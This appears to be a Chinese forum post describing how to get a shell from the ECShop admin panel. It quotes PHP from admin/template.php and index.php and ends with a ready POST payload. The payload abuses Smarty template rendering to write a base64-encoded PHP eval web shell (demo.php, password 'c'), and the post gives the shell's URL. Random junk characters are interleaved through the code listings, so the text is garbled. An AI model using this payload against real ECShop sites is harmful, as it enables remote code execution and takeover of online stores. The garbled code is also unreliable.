Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
: l. m& y* z* t& D" O
1 if ($_REQUEST['act'] == 'update_library')
( I, Q( J7 t6 O; C
2   
3 F! m+ F  d0 V. |0 d7 m
8 A; E  W4 ]& O( a- m8 t3 {

4     check_authz_json('library_manage');
  o" ^$ @' w2 \$ E
5   
7 A' g5 _% S1 t7 c" n- g; J3 Y
5 l- B% V; E& n3 c- o6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 G! [6 t! Z% p8 p  c$ L8 i+ b( m
5 G8 L3 Y- E6 _6 h6 j9   

7 q+ V% I0 S$ X10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

% B& W  _4 Q3 t& p11   
  R8 `7 \1 ?  ~- G& |. x
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
4 [# ~( q1 k8 f7 W
! y3 Y0 A1 X; ?7 D8 g$ }6 T& N13   

7 d% P" ]* L; z! |5 s8 K% i14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
2 `/ ?  n9 W" ^, L
3 N# J' G/ P2 o6 z- o& E15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
4 P' C( j( U1 n) T* }& ?( p  E
4 f' {$ r: D* P17         make_json_result('', $_LANG['update_lib_success']);
1 f- {6 e# h; m4 s
18     }
2 b/ t* _, \3 @7 I! b5 X& X
0 z; m1 X9 o7 o  H4 M$ h; @19     else
# L/ V% Z+ N) d( v
20     {
8 ^9 w% g# B4 h# v- f' l
* X. s/ j' R# D7 ^- C8 w21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

4 ?3 C4 i) h- h5 ?# ^/ U$ ^8 C22     }

; p. s. G0 G1 U- W1 z6 O3 r23 }
) b, X& Z- @3 q4 w% l
那么找个比较方便调用了模板的文件
6 o. r9 o+ c) y6 nindex.php

1 if ($act == 'cat_rec')
9 o$ i: N' p1 l  m# P
2   

3 {
2 u! a1 {5 V* A+ `, j
; g1 _2 N6 P6 b5 K7 o4   
* F- u, G  Z% @6 ^" g) q
, D# m& x1 v& }! L1 q5 C5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
! o1 ~, y0 v0 K. x
6   
3 N% ?) a/ K: @# z9 L, ]
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- r& W; W$ T; F: M0 c
6 {) w* Q# r; D6 [8 Z8   

. N4 X& z6 Y# }) S! b+ f8 ]9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
0 X1 C  N3 K2 a; K
10   
6 Z, V  @: P* h* g' b9 a; w
11     include_once('includes/cls_json.php');

' J4 A  d9 L  z8 h( W4 b* P12   

13     $json = new JSON;

14   

( J& K+ O: f! E/ ]' g15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
% D. F4 Y: p2 r/ W6 y
17     $children = get_children($cat_id);

, B' D) |; e' ^- m" a2 S! L' g18   

5 N, j2 i4 G8 c8 W% d$ t# I1 W19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
# m% Y; G/ c6 b8 r4 Z9 @2 w0 o
) l! p$ V+ E4 R20   
, T. b& ]3 V# x, o3 t
4 D1 ]7 B4 E2 Y% _( ~21     $smarty->assign('cat_rec_sign', 1);
) _8 T8 P9 ?7 Q* l
* L" n$ o. ~+ v& D22   

* g" {/ r, H8 o0 d& _23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   

/ d4 C- o+ ~$ N# h, N. }, l25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

" ^+ v9 W3 T1 R& s6 i( n6 A26   

27         echo $rec_array[$rec_type];
4 m5 A& \8 A% Q% `! m* l7 O2 @" X
28   

29     die($json->encode($result));
: f) R8 S3 O& ~8 q$ m; V
7 P/ w+ }. j1 R& m, U' A7 ~30   

31 }
8 n% l- r& Z6 x2 D0 W
那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c